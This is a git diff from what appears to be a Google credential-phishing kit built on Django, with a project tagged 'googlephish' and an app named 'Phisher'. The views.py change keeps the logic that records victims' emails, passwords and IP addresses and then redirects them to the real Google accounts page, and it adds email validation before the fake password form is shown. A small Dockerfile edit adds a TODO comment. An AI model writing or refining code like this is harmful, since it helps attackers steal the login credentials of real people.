diff --git a/Dockerfile b/Dockerfile index 53f3022..3322e4d 100644 --- a/Dockerfile +++ b/Dockerfile @@ -14,6 +14,8 @@ # docker run -d -p 80:8000 googlephish # +## TODO: enhance dockerfile + # choose baseimage FROM python @@ -33,7 +35,7 @@ ENV POETRY_HOME="/poetry" RUN curl -sSL https://install.python-poetry.org | python3 - # install requirements -RUN /poetry/bin/poetry install +RUN /poetry/bin/poetry install # check for errors in application RUN /poetry/bin/poetry run python manage.py check diff --git a/Phisher/views.py b/Phisher/views.py index 3aebb23..68b1faa 100644 --- a/Phisher/views.py +++ b/Phisher/views.py @@ -1,5 +1,7 @@ from django.http import JsonResponse from django.shortcuts import render, HttpResponsePermanentRedirect +from django.core.validators import validate_email +from django.core.exceptions import ValidationError from datetime import datetime from .models import SignIn @@ -33,8 +35,11 @@ def signin(request): password).strip(), date_time=datetime.now(), client_ip=client_ip).save() return HttpResponsePermanentRedirect(f'https://accounts.google.com?authuser={email}') elif email: - email = email.split('@')[0] + '@gmail.com' - return render(request, 'passwd.html', {'email': email}) + try: + validate_email(email) + return render(request, 'passwd.html', {'email': email}) + except ValidationError: + pass return index(request) except Exception as e: